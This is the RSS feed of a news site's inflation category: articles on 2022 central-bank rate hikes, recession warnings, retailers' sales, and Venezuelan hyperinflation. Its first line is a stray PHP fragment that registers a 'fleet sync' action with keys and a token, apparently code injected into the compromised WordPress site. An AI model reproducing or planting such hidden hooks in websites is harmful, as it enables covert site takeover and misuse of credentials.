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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Inflation – Brief News https://briefnews.eu Latest World News. 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Tue, 27 Sep 2022 16:00:27 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Inflation – Brief News https://briefnews.eu 32 32 Stocks may rally if global central banks ease up on rate hikes, but inflation could rebound and spark more volatility, Charles Schwab says https://briefnews.eu/stocks-may-rally-if-global-central-banks-ease-up-on-rate-hikes-but-inflation-could-rebound-and-spark-more-volatility-charles-schwab-says/ https://briefnews.eu/stocks-may-rally-if-global-central-banks-ease-up-on-rate-hikes-but-inflation-could-rebound-and-spark-more-volatility-charles-schwab-says/#respond Tue, 27 Sep 2022 16:00:27 +0000 https://briefnews.eu/stocks-may-rally-if-global-central-banks-ease-up-on-rate-hikes-but-inflation-could-rebound-and-spark-more-volatility-charles-schwab-says/ new york stock trader exchange

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  • There are good, bad, and ugly outcomes for the stock market as inflation continues to weigh, Charles Schwab warned.
  • Though inflation is coming down, it could easily rebound if central banks begin cutting too soon.
  • "This whipsawing pattern may support a continued environment of volatility and wide market swings as seen this year," the bank warned.

Stocks could spin three ways as inflation begins to cool, Charles Schwab analysts said in a note on Monday, outlining a good, a bad, and an ugly outcome for the market.

The good: stocks could rally as central banks ease up on rate hikes. The bad: inflation could rebound and set off even more volatility. The ugly: central banks will stay hawkish and send stocks lower.

The Fed just issued its third 75-point rate hike this year, and the European Central Bank has also hiked by an unprecedented 75 points, causing stocks to recoil in volatility.

A good outcome

If inflation continues its slow descent, markets could rebound on hopes that aggressive rate hikes will end, Schwab said. US inflation cooled slightly to 8.3% in August from 9.1% in July, sparking talk that inflation may have peaked.

Some central banks have already indicated they may be nearly done with hiking rates: Brazil's central bank stopped hiking in August, and Norway's central bank suggested its most recent 50-point rate hike could be its last, or close to it, analysts said.

"Should inflation begin to recede significantly around year-end due to a softer labor market and easing housing inflation … markets may rebound on prospects for an end to the aggressive rate hikes of 2022," analysts said. They noted though that economic growth could be slowed, as demand will take a time to pick up again, and central bankers are likely to remain cautious for any rebound of inflation.

A bad outcome

But inflation could come back, if central banks ease too soon, Schwab warned. The global policy rate for developed markets excluding the US is still low historically and remains "deeply negative" — even lower than the rate that preceded the Great Recession in 2008, analysts said.

"If central banks respond to a weakening labor market and stop hiking too soon or cut rates while the real policy rate is still firmly negative, there's a chance inflation may rebound. If it does, even higher rates may be needed to quell inflation," the note said.

That would be a repeat of the 70s and 80s when central bankers pivoted monetary policy too quickly, leading to a "whipsaw" effect in stocks.

"This whipsawing pattern may support a continued environment of volatility and wide market swings as seen this year," the bank warned.

The ugly outcome

And then, there's the possibility that central banks will actually do what they say and stay hawkish until inflation is dead. In that scenario, expect another year like 2022, Schwab said.

"Stocks would have further to fall with both price-to-earnings (PE) ratios and earnings contributing to declines; any prospect of a deep recession would likely force analysts to cut earnings estimates," analysts warned.

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  • More than 80 central banks are aggressively raising interest rates to cool inflation.
  • Rate hikes are the best tool for easing price surges but bring with them the risk of recession.
  • The synchronized rate hikes could throw the world economy into a slump.

Countries around the world are rushing to crush inflation. The price? A global economic downturn.

In the US, the Federal Reserve chair, Jerome Powell, has warned that the fight against rising prices will "bring some pain" to Americans by slowing job growth, making mortgages and credit cards more expensive, and possibly prompting layoffs. He characterized the Fed's inflation target as "unconditional," offering a clear signal that the central bank will accept some economic discomfort — and even a recession — if it means ending the price surge.

He's not alone. Central banks in the UK, Europe, Canada, Switzerland, Indonesia —  more than 80 countries in all — are similarly slamming the brakes on their economies to curb inflation, according to the World Bank. Monetary tightening is the broadest its been in five decades, and as inflation hovers at worrying highs around the globe, it's unlikely any central banks will ease up soon.

Policymakers' mission — to bring inflation to heel — has already caused downward revisions of forecasts for advanced economies' growth through 2023. Experts see job losses and weak wage growth on the horizon as economies shift into a lower gear. And businesses are already warning shareholders that things are only going to get tougher.

Corporate earnings offer the first signs of an impending downturn

Companies are already feeling the pain from the Fed's hiking cycle. On September 15, FedEx retracted its earnings forecast for the rest of the year and warned investors that the slowing economy will lead revenue to come up $ 500 million short of the firm's prior target.

When asked by CNBC's Jim Cramer if the global economy is entering a recession, FedEx's CEO, Raj Subramaniam, put it plainly. "I think so," he said.

Restoration Hardware's CEO, Gary Friedman, was more colorful when addressing recession worries in a September 8 earnings call.

"We're in a recession. Anybody who thinks we're not in a recession is crazy," he told analysts. "The housing market is in a recession, and it's just getting started."

Friedman and Subramaniam aren't alone. Of the companies included in the S&P 500, 240 brought up "recession" in their second-quarter-earnings calls, according to FactSet analysis. That's the highest share going back to 2010, when the firm started tracking such mentions. It also dwarfs the 212 "recession" citations seen at the start of the pandemic recession in early 2020.

Stocks' initial reaction to companies' slowing growth can pull the broad market dramatically lower, as it did on September 16, when FedEx's report amplified worries of economic weakness. That translates to less household wealth at a time when the S&P 500 is almost 20% below last year's highs.

Lower revenues and dampened profit forecasts can also lead to more immediate economic damage. Companies tend to cut costs to protect their margins when economic growth slows. That often shows up in the form of smaller raises, slimmed-down hiring plans, and, in the direst cases, widespread layoffs.

At some firms, job losses are already here. The Gap is set to cut 500 corporate jobs by laying off staff and shedding some roles entirely, according to a report from The Wall Street Journal published Tuesday. The move comes amid falling revenue and earnings and marks a major shift toward cost-cutting.

Tumbling sales have also prompted layoff plans at Walmart, Best Buy, and Bed Bath & Beyond in recent weeks. The former has also said it plans to hire fewer workers for the busy holiday season, further stoking concerns that waning demand will cut into the labor market's health.

Sales are expected to keep slowing, and "the current macro environment trends could be even more challenging and have a larger impact for the remainder of the year," Matthew Bilunas, the chief financial officer of Best Buy, said in an August 30 earnings call.

The Fed doesn't just expect some labor-market damage, it's betting on it. Powell has repeatedly highlighted the labor market's unusual tightness as a factor keeping inflation strong, with job openings still outpacing available workers two-to-one at the end of July. The US likely needs "softer labor market conditions" if it's to get over the inflation spell, the Fed chair said in a Wednesday press conference.

That softening is looking increasingly bleak, however. Projections published by the central bank on Wednesday show officials bracing for weaker growth, higher unemployment, and stickier-than-expected inflation through 2023. Those three factors are the key components of a growth recession.

If the Fed can get inflation lower with only a minor jump in unemployment, it's possible that the US can pivot to steady growth and a healthy economic expansion. Yet other central banks face the same predicament as the Fed, and as policymakers around the world rush to stifle inflation, the threat of a broader downturn looms large.

How a mild US slump becomes a deep global recession

More than 80 central banks are staring down the same problem. Inflation is well above their targets, but pulling it lower involves historically large rate hikes.

Such a hiking cycle comes with some unappealing trade-offs, but most have echoed the Fed's message: Some weakness today is worth it to make sure inflation doesn't get stuck at four-decade highs.

The Fed made its latest move on Wednesday, raising rates by another 0.75 percentage points to place its benchmark squarely in restrictive territory.

"If we want to set ourselves up and really, really light the way to another period of very strong labor market, we have got to get inflation behind us," Powell said Wednesday. "I wish there were a painless way to do that. There isn't."

That followed a hike of the same size by the European Central Bank on September 8. The ECB's 0.75-point hike was the first in its history and pushed its benchmark to the highest level since 2011. Officials noted that they expect to raise rates even higher to "guard against the risk of a persistent upward shift in inflation expectations," echoing the Fed's reasoning for such aggressive hiking.

The Bank of England, meanwhile, raised interest rates by half  a percentage point on Thursday, saying it would continue to "respond forcefully, as necessary" to elevated inflation.

That so many central banks share the Fed's outlook could become a huge problem. The world's fight against inflation could spark recessions in several countries as policymakers dramatically tighten financial conditions and slow their economies to a halt.

Such a globally synchronized downturn would be worse for everybody. A new study from the World Bank forecasts that should inflation prove more persistent than expected, the global economy could enter a downturn in 2023 before recovering the following year. Jobs would be lost en masse, high rates would crush some borrowers, and the recovery from the pandemic would give way to a new crisis.

"Recent tightening of monetary and fiscal policies will likely prove helpful in reducing inflation," Ayhan Kose, the acting vice president for equitable growth, finance, and institutions at the World Bank, said. "But because they are highly synchronous across countries, they could be mutually compounding in tightening financial conditions and steepening the global growth slowdown."

Central banks could be mere months away from a lose-lose scenario. If inflation doesn't start to cool soon, the prevailing options policymakers have are to slam the brakes on their economies and throw the world into a recession — or usher in an era of cripplingly fast price growth.

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A Dollar General store in Amenia, New York.

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  • Shoppers earning six-figure salaries are turning to dollar stores amid soaring inflation in the US.
  • Economic uncertainty is pushing some Americans to tighten their pursestrings.
  • Dollar General's "core customer" usually earns under $ 40,000 a year, CNN reported.

Shoppers with six-figure salaries are turning to Dollar General stores amid soaring inflation in the US, the discount store's CEO Todd Vasos said this week, per CNN.

Speaking at a retail conference on 7 September, Vasos said Dollar General stores had seen an influx of wealthy customers in recent months, CNN reported.

"The highest trade-in that we've seen and the most robust has actually been between the $ 75,000 and $ 100,000 group, Vasos said.

The company says its "core customers" usually earn under $ 40,000 a year, according to CNN.

Vasos added that some of these higher earners had previously been customers at the height of the pandemic and were now returning, CNN reported.

Dollar stores have generally experienced a revenue boost during times of economic uncertainty. During the COVID-19 pandemic, Dollar General's profits soared and even eclipsed its closest competitor, Dollar Tree, in May 2020.

In recent months, Dollar General has seen a revenue spike as higher prices and recession fears across the US have made some Americans more financially conscious.

Dollar General reported revenue of $ 9.4 billion in the second quarter of 2022, a 9% increase from the previous year. 

Representatives for Dollar General did not immediately respond to Insider's request for further comment made outside normal working hours.

In recent years, the company has added more discretionary items, such as home furnishings and party supplies, to lure wealthier shoppers into Dollar General stores.

Other discount stores have seen a similar trend in recent months. Rival dollar store, Dollar Tree, said the majority of the store's new customers had salaries of $ 80,000 a year or more. 

During a recent earnings call, Dollar Tree's CEO, Mike Witynski, said shoppers were "feeling pressured like they never have before," and were "relying on our stores to meet their budget goals."

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]]> https://briefnews.eu/shoppers-earning-100000-are-turning-to-dollar-stores-amid-soaring-inflation-dollar-general-ceo-says/feed/ 0 These retailers are killing it in the current economy, unlike other companies that are blaming their slowing sales on inflation and the supply chain https://briefnews.eu/these-retailers-are-killing-it-in-the-current-economy-unlike-other-companies-that-are-blaming-their-slowing-sales-on-inflation-and-the-supply-chain/ https://briefnews.eu/these-retailers-are-killing-it-in-the-current-economy-unlike-other-companies-that-are-blaming-their-slowing-sales-on-inflation-and-the-supply-chain/#respond Thu, 08 Sep 2022 11:33:10 +0000 https://briefnews.eu/these-retailers-are-killing-it-in-the-current-economy-unlike-other-companies-that-are-blaming-their-slowing-sales-on-inflation-and-the-supply-chain/ Miami, Florida, Coral Gables Shops at Merrick Park, entrance to Lululemon, athletic clothing store.

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  • Lululemon reported a jump in foot traffic to stores, proving that not all retailers are getting hit as hard by an economic slowdown. 
  • Kohl's, Macy's, Nordstrom, and Target all reported slowing sales due to inflation and supply chain issues. 
  • Lululemon isn't the only retailer still showing strength amid a slowdown, though. Check out some other examples.

Lululemon reported a jump in sales and foot traffic to its stores last week, proving that not all retailers are created equal in the current economy. 

Last month, Kohl's, Macy's, Nordstrom, and Target attributed slowing sales to inflation or lingering supply chain issues. However, Lululemon's chief financial officer, Meghan Frank, painted a different picture of the consumer. 

"Despite the challenges around us in the macro-environment, guest traffic in our stores and on our e-commerce sites remains robust," she said in a company press release. 

To be sure, Lululemon's target audience is in a relatively higher income bracket, and some brands are reporting that despite inflation, demand for luxury products is thriving. Still, not all retailers that cater to lower-income shoppers are struggling. 

Here are some of the retailers that have still reported strong sales, despite the faltering economy. 

Dollar General

Dollar General store in Bushwick

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Dollar General reported better-than-expected sales last month, while competitor Dollar Tree cut its full-year earnings forecast. Todd Vasos, Dollar General's CEO, said the stores have seen an uptick in consumer traffic. 

Home Depot

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Home Depot recently said there's still strong demand for home improvement projects, despite a weaker housing market. A Home Depot executive recently told reporters and investors on a call that there are positive trends in professional and DIY sales growth. 

Williams-Sonoma

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Williams-Sonoma, which also owns West Elm and Pottery Barn, reported record sales of more than $ 2 billion last week. "We continue to demonstrate our ability to perform by offering high-quality, differentiated, and sustainable products that our customers know and love," CEO Laura Alber said in a press release. 

Dick's

Dick's Sporting Goods

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Dick's Sporting Goods recently boosted its earnings outlook for the rest of the year. The company's sales were up 38% in the second quarter compared to pre-pandemic in 2019. "The Dick's Sporting Goods consumer has held up quite well," said the company's CEO, Lauren Hobart, in a recent press release. 

Ulta

A consumer shops at Ulta Beauty

Ulta Beauty

Demand for makeup doesn't seem to be slowing after Ulta reported better-than-expected results in the second quarter. "We saw healthy sales gain from members across all income demographics. Consumer engagement with beauty remains strong," said Ulta's president, Dave Kimball, about the company's second-quarter results on a call with investors and reporters. 

Walmart

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Walmart reported better-than-expected results last month but recently noted that shoppers affected by inflation are spending less on apparel. "We're pleased to see more customers choosing Walmart during this inflationary period, and we're working hard to support them as they prioritize their spending," Walmart's CEO Doug McMillion said in a press release. 

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Venezuela’s National Assembly, an opposition-controlled legislative body, said annual inflation has reached 1,300,000 percent in November as the country struggles through its worst economic crisis ever.

At the same time, the rate of monthly inflation has gradually decelerated during three months through November. According to the report by the National Assembly, the figure declined to 144 percent in November compared to 148 percent the previous month and 233 percent in September.

Earlier this year, the International Monetary Fund (IMF) warned that Venezuelan inflation would reach one million percent in the current year and 10 million percent in 2019. The Washington-based organization said Venezuela is mired in one of the biggest economic crises in the modern history, comparing its problems with those of Germany in 1923 and Zimbabwe in the late 2000s.




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The economy of the South American nation has been in a steady decline since the sharp drop in oil prices in 2014 that hit the budgets of the world’s major oil producers, such as Saudi Arabia, Russia, Norway and Iran. Apart from the oil price crash, Caracas has been under constant pressure from US sanctions aimed at President Nicolas Maduro and his government.

Last year, Washington banned US companies and individuals from trading new debt and equity issued by the Venezuelan government and state oil company PDVSA. The penalties also included several rounds of restrictions against top government officials and the president.

The decline, driven by low oil prices coupled with the US sanctions, has led to the devaluation of the national currency as well as shortages of food, medicine and other basic goods, triggering massive exodus of Venezuelan citizens to the neighboring countries, including Colombia, Ecuador, Peru and Brazil.

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PAUL VOLCKER’S legend is almost as grand and imposing as his physical personage, all six feet and seven inches of it. In 1979 President Jimmy Carter chose him to run the Federal Reserve and tackle America’s high inflation. Mr Volcker acted with grim determination, tightening monetary policy even as the economy sank into deep recession and beleaguered Americans pleaded for relief. Eventually he not only routed inflation, but also won a hard-earned credibility for the Fed that would help successors keep inflation stable. Mr Volcker himself recounts the story in a new memoir, “Keeping At It”, which calls on central banks to resist the siren song of loose money. But the book also invites readers to reconsider his legacy, and to ask whether central bankers have drawn the right lessons from the legend of Chairman Volcker.

The recessions and disinflation of the early 1980s proved a watershed both for macroeconomics and the practice of…

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]]> https://briefnews.eu/paul-volckers-memoir-invites-a-rethink-of-the-fight-against-inflation/feed/ 0 A cryptocurrency is making huge inroads in Venezuela as inflation runs wild — and it’s not bitcoin or the Petro https://briefnews.eu/a-cryptocurrency-is-making-huge-inroads-in-venezuela-as-inflation-runs-wild-and-its-not-bitcoin-or-the-petro/ https://briefnews.eu/a-cryptocurrency-is-making-huge-inroads-in-venezuela-as-inflation-runs-wild-and-its-not-bitcoin-or-the-petro/#respond Wed, 22 Aug 2018 08:41:23 +0000 http://briefnews.eu/a-cryptocurrency-is-making-huge-inroads-in-venezuela-as-inflation-runs-wild-and-its-not-bitcoin-or-the-petro/ Dash Billboard VenezuelaRyan Taylor/Dash Core Group

  • Venezuela is currently suffering from hyperinflation and the president recently devalued the currency by 95%.
  • Locals are turning to cryptocurrencies as a more stable store of value and means to transact.
  • 200 merchants per month are signing up to accept Dash in Venezuela, according to the Dash Core Group, and the rate of adoption is accelerating.

LONDON — Cryptocurrency Dash is seeing a surge in new merchant sign-ups and wallet downloads in Venezuela as hyperinflation in the country runs wild.

Venezuela is forecast to see inflation of as much as 1,000,000% this year, with locals needing stacks and stacks of cash just to buy food. Socialist President Nicolas Maduro last weekend announced a series of measures aimed at stabilizing the economy, including devaluing the bolivar by 95% and pegging it to the state-backed cryptocurrency, the Petro.

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THE baroque era in Turkish architecture lasted deep into the 19th century, leaving behind lavish buildings, such as the Lily Mosque in Istanbul and waterside pavilions that seem to float on the Bosphorus. The baroque period in Turkish monetary policy will last until June 1st, when the central bank will simplify its equally ornate monetary-policy framework. It will henceforth rely on a single interest rate (the one-week repo rate), which it will raise to 16.5%. This will supersede a jumble of interest rates (see chart) that has left the Turkish currency perilously close to submersion.


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IN THE early 1970s, leftist guerrillas in Argentina discovered a lucrative new way to make money: kidnap millionaires. Panicking firms would agree to huge ransoms, more concerned with freeing their executives than driving down the fee. That was not just bad for businesses. It also became a textbook case of how poor negotiating can send future ransoms rocketing and attract new entrants to the kidnapping trade. In Argentina, this culminated in the payment of an undisclosed ransom in 1975 for the release of Juan Born, followed by a $ 60m ransom for his brother, Jorge. The latter figure, $ 275m in today’s money, is the highest ransom known in modern times.

One reason it marked a high point is the spread of kidnapping-and-ransom (K&R) insurance. This is involved in a minority of the $ 0.5bn-1.5bn thought to be paid out in ransoms each year, but the share is growing. Around three-quarters of Fortune 500 companies pay to cover some employees. Insurers reimburse the ransom and, at least as…

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